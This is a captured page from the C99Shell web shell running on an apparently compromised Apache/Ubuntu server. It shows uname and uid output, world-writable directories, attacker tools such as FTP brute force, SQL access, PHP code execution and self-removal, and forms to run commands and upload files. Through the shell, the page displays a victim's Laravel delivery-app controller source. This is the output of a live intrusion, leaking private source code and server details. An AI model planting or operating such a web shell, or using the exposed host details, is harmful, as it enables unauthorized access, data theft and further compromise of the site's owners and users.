!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/jiff_delivery/app/Http/Controllers/   drwxrwxrwx
Free 13.1 GB of 57.97 GB (22.59%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DeliveryController.php (13.11 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
Illuminate\Http\Request;
use 
App\Models\Delivery;
use 
App\Models\Order;
use 
App\Models\Vendor;
use 
App\Models\Shop;
use 
App\Models\DeliveryPartner;
use 
App\Models\ReturnRequest;

use 
Illuminate\Support\Facades\Validator;
use 
Illuminate\Support\Facades\DB;
use 
GuzzleHttp\Client;

class 
DeliveryController extends Controller
{
    function 
__construct() {
        
$this->middleware('auth');
    }
    function 
index() {
        
$data=Delivery::get();
        
$vendors=Shop::select('id','shop_name')->get();
        return 
view('pages.delivery.index',['deliveries'=>$data,'vendors'=>$vendors]);
    }
    public function 
getDeliveries()
    {
        
// $orders=Order::select('id','customer as customer_name','total_amount as amount','delivery_deadline  as delivery_date','total_amount as sales_item','id as payment','id as status')->get();
        
$orders=Delivery::with('customer')->with('vendor')->with('delivery_partner')->get();
        echo 
json_encode($this->makeData($orders));
    }
    function 
requestedDeliveries() {
        
$data=Delivery::with(['saleData','statusData'])->where('delivered_by',auth()->user()->id)->where("status",1)->get();
        
$shops=Shop::select('id','shop_name')->get();
        return 
view('pages.delivery.requested',['deliveries'=>$data,'shops'=>$shops]);
    }
    public function 
filterRequestedDeliveries(Request $req){
        
$query Delivery::query();
        
$query->when($req->input('shop') !== 'all', function ($q) use ($req) {
            
$q->where('shop_id'$req->input('shop'));
        });
        
$query->when($req->input('search_input') !== '', function ($q) use ($req) {
            
$q->where('order_id','LIKE',"%{$req->input('search_input')}%");
        });
        if (
$req->input('date_range')) {
            
$date_range=explode("to",$req->input('date_range'));
            
$from_date=date_create($date_range[0]);
            
$from_datedate_format($from_date,"Y-m-d");
            
$to_date=date_create($date_range[1]);
            
$to_datedate_format($to_date,"Y-m-d");
            
$to_date date(date('Y-m-d'strtotime($to_date' + 1 days')));
            
$query->where('created_at','>',$from_date);
            
$query->where('created_at','<',$to_date);
        }
        
$orders $query->with(['saleData','statusData'])->where('delivered_by',auth()->user()->id)->where('status',1)->get();
        
$shops=Shop::select('id','shop_name')->get();
        return 
view('pages.delivery.requested',['deliveries'=>$orders,'shops'=>$shops,
        
'search_input'=>$req->input('search_input'),
        
'shop'=>$req->input('shop'),
        
"date_range"=>$req->input('date_range')]);
    }
    function 
pickedUp(Request $req) {
        try {
            
DB::beginTransaction();
            
$data=Delivery::find($req->input('delivery_id'));
            
$data->status=2;
            
$data->save();
            
$client = new Client([
                
'auth' => [env('AUTH_USER'), env("AUTH_PASSWORD")]
            ]);
            
$res $client->request('post'env("DATA_SERVER_URL").'/sale_status/'.$data->sale_id,["json"=>["sale_status"=>3]]);
            
DB::commit();
            return 
redirect()->back()->with('message'"Delivery Status changed Successfully");
        } catch (
\Exception $exception) {
            
DB::rollback();
            
// var_dump($exception->getMessage());
            
return redirect()->back()->withErrors("Something Went wrong please try again");
        }   
       
    }
    function 
pickedDeliveries() {
        
$data=Delivery::with(['saleData','statusData'])->where('delivered_by',auth()->user()->id)->where("status",2)->get();
        
$shops=Shop::select('id','shop_name')->get();
        return 
view('pages.delivery.picked_up',['deliveries'=>$data,'shops'=>$shops]);
    }
    function 
filterPickedDeliveries(Request $req) {
        
$query Delivery::query();
        
$query->when($req->input('shop') !== 'all', function ($q) use ($req) {
            
$q->where('shop_id'$req->input('shop'));
        });
        
$query->when($req->input('search_input') !== '', function ($q) use ($req) {
            
$q->where('order_id','LIKE',"%{$req->input('search_input')}%");
        });
        if (
$req->input('date_range')) {
            
$date_range=explode("to",$req->input('date_range'));
            
$from_date=date_create($date_range[0]);
            
$from_datedate_format($from_date,"Y-m-d");
            
$to_date=date_create($date_range[1]);
            
$to_datedate_format($to_date,"Y-m-d");
            
$to_date date(date('Y-m-d'strtotime($to_date' + 1 days')));
            
$query->where('created_at','>',$from_date);
            
$query->where('created_at','<',$to_date);
        }
        
$orders $query->with(['saleData','statusData'])->where('delivered_by',auth()->user()->id)->where('status',2)->get();
        
$shops=Shop::select('id','shop_name')->get();
        return 
view('pages.delivery.picked_up',['deliveries'=>$orders,'shops'=>$shops,
        
'search_input'=>$req->input('search_input'),
        
'shop'=>$req->input('shop'),
        
"date_range"=>$req->input('date_range')]);
    }
    private function 
makeData($orders) {
        
$data = array();
        
$count=0;
        foreach (
$orders as $order) {
            
$count++;
            
$data[] = [
                
"id"=>$order->id,
                
"invoice"=>$order->invoice_no,
                
"date"=>$order->created_at,
                
"vendor"=>$order->vendor->first_name." ".$order->vendor->last_name,
                
"address"=>$order->address,
                
"customer_name"=>$order->customer->name,
                
"status"=> $order->status,
                
"delivery"=> $order->delivery_partner->name,
                
"delivery_partner"=> $order->delivered_by,
                
"note"=> $order->note,
            ];
        }
        return 
$data;
    }
    public function 
filterDeliveries(Request $req){
        
$query Delivery::query();
        
$query->when($req->input('status') !== 'all', function ($q) use ($req) {
            
$q->where('status'$req->input('status'));
        });
        
$query->when($req->input('vendor') !== 'all', function ($q) use ($req) {
            
$q->where('page_id'$req->input('vendor'));
        });
        
$query->when($req->input('search_input') !== '', function ($q) use ($req) {
            
$q->where('invoice_no','LIKE',"%{$req->input('search_input')}%");
        });
        if (
$req->input('from_date')) {
            
$from_date=date_create($req->input('from_date'));
            
$from_datedate_format($from_date,"Y-m-d");
            
$to_date=date_create($req->input('to_date'));
            
$to_datedate_format($to_date,"Y-m-d");
            
$to_date date(date('Y-m-d'strtotime($to_date' + 1 days')));
            
$query->where('created_at','>',$from_date);
            
$query->where('created_at','<',$to_date);
        }
        
$orders $query->with('customer')->with('shop_Data')->with('vendor')->with('delivery_partner')->get();
        
$vendors=Shop::select('id','shop_name')->get();
        
$delivery_partners=DeliveryPartner::select('id','name')->where('status',1)->get();
        return 
view('pages.delivery.index',['deliveries'=>$orders,'vendors'=>$vendors,'delivery_partners'=>$delivery_partners,
        
'search_input'=>$req->input('search_input'),
        
'vendor'=>$req->input('vendor'),
        
"status"=>$req->input('status'),"date_range"=>$req->input('date_range')]);
    }

    function 
completeDelivery(Request $req) {

        try {
            
DB::beginTransaction();
            
$data=Delivery::find($req->input('delivery_id'));
            
$data->status=$req->status;
            
$data->received_amount=$req->input("received_amount");
            
$data->no_of_items=$req->input("no_of_items");
            
$data->note=$req->input("note");
            
$data->save();
            
// if ($req->status ==5 || $req->status ==6 ) {
            //     ReturnRequest::create([
            //         'sale_id'=>$data->sale_id, 
            //         'invoice_no'=>$data->invoice_no,
            //         'no_of_items'=>$req->input("ordered_quantity")-$req->input("no_of_items"),
            //         'status'=>1,
            //         'shop_id'=>$data->shop_id,
            //         'note'=>$req->input("note")
            //     ]);
            // }
            
$req_body=[
                
"sale_status"=>4,
                
'no_of_items'=>$req->input("no_of_items"),
                
'note'=>$req->input("note")
            ];
            
$client = new Client([
                
'auth' => [env('AUTH_USER'), env("AUTH_PASSWORD")]
            ]);
            
$res $client->request('post'env("DATA_SERVER_URL").'/sale_status/'.$data->sale_id,["json"=>$req_body]);
            
DB::commit();
            return 
redirect()->back()->with('message'"Delivery Status changed Successfully");
        } catch (
\Exception $exception) {
            
DB::rollback();
            
// var_dump($exception->getMessage());
            
return redirect()->back()->withErrors("Something Went wrong please try again");
        }       
    }
    function 
delivered() {
        
$data=Delivery::where('delivered_by',auth()->user()->id)->whereIn("status",[3,5,6])->get();
        
// echo $data
        
$shops=Shop::select('id','shop_name')->get();
        return 
view('pages.delivery.completed',['deliveries'=>$data,'shops'=>$shops]);
    }
    public function 
filterDelivered(Request $req){
        
$query Delivery::query();
        
$query->when($req->input('shop') !== 'all', function ($q) use ($req) {
            
$q->where('shop_id'$req->input('shop'));
        });
        
$query->when($req->input('search_input') !== '', function ($q) use ($req) {
            
$q->where('order_id','LIKE',"%{$req->input('search_input')}%");
        });
        if (
$req->input('date_range')) {
            
$date_range=explode("to",$req->input('date_range'));
            
$from_date=date_create($date_range[0]);
            
$from_datedate_format($from_date,"Y-m-d");
            
$to_date=date_create($date_range[1]);
            
$to_datedate_format($to_date,"Y-m-d");
            
$to_date date(date('Y-m-d'strtotime($to_date' + 1 days')));
            
$query->where('created_at','>',$from_date);
            
$query->where('created_at','<',$to_date);
        }
        
$orders $query->with(['saleData','statusData'])->where('delivered_by',auth()->user()->id)->whereIn("status",[3,5,6])->get();
        
$shops=Shop::select('id','shop_name')->get();
        return 
view('pages.delivery.completed',['deliveries'=>$orders,'shops'=>$shops,
        
'search_input'=>$req->input('search_input'),
        
'shop'=>$req->input('shop'),
        
"date_range"=>$req->input('date_range')]);
    }
    
// return requested order 
    
function returnList() {
        
$data=Delivery::with('saleData','returnData')->where('delivered_by',auth()->user()->id)->whereIn("status",[5,6])->orderBy('id','desc')->get();
        
$shops=Shop::select('id','shop_name')->get();
        
// echo $data[0]->returnData->created_at;
        
return view('pages.delivery.returned',['deliveries'=>$data,'shops'=>$shops]);
    }
    function 
filterReturnList(Request $req) {
        
$query Delivery::query();
        
$status=$req->input('status');
        
$query->whereHas('returnData', function ($qu) use ($status) {
            
$qu->when($status !== "all", function ($q) use ($status) {
                
$q->where('status'$status);
            });
        });
        
// $query=$query->with(['return_requests' => function ($q) use ($req) {
        //     // $query->where('column', 'value');
        //     // $q->when($req->input('status') !== 'all', function ($qe) {
        //          $q->where('shop_id', 0);
        //     // });
        // }]);
        // $query->when($req->input('status') !== 'all', function ($q) use ($req) {
        //     $q->where('status', $req->input('status'));
        // });
        
$query->when($req->input('shop') !== 'all', function ($q) use ($req) {
            
$q->where('shop_id'$req->input('shop'));
        });
        
$query->when($req->input('search_input') !== '', function ($q) use ($req) {
            
$q->where('order_id','LIKE',"%{$req->input('search_input')}%");
        });
        if (
$req->input('from_date')) {
            
$from_date=date_create($req->input('from_date'));
            
$from_datedate_format($from_date,"Y-m-d");
            
$to_date=date_create($req->input('to_date'));
            
$to_datedate_format($to_date,"Y-m-d");
            
$to_date date(date('Y-m-d'strtotime($to_date' + 1 days')));
            
$query->where('created_at','>',$from_date);
            
$query->where('created_at','<',$to_date);
        }
        
$orders $query->where('delivered_by',auth()->user()->id)->whereIn("status",[5,6])->orderBy('id','desc')->get();
        
$shops=Shop::select('id','shop_name')->get();
        return 
view('pages.delivery.returned',['deliveries'=>$orders,'shops'=>$shops,
        
'search_input'=>$req->input('search_input'),
        
'shop'=>$req->input('shop'),
        
"status"=>$req->input('status'),"date_range"=>$req->input('date_range')]);
    }
    function 
returnDelivery(Request $req) {
        
ReturnRequest::where('id',$req->input('return_id'))->update([
            
"status"=>2
        
]);
        return 
redirect()->back()->with('message'"Returned Successfully");
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0059 ]--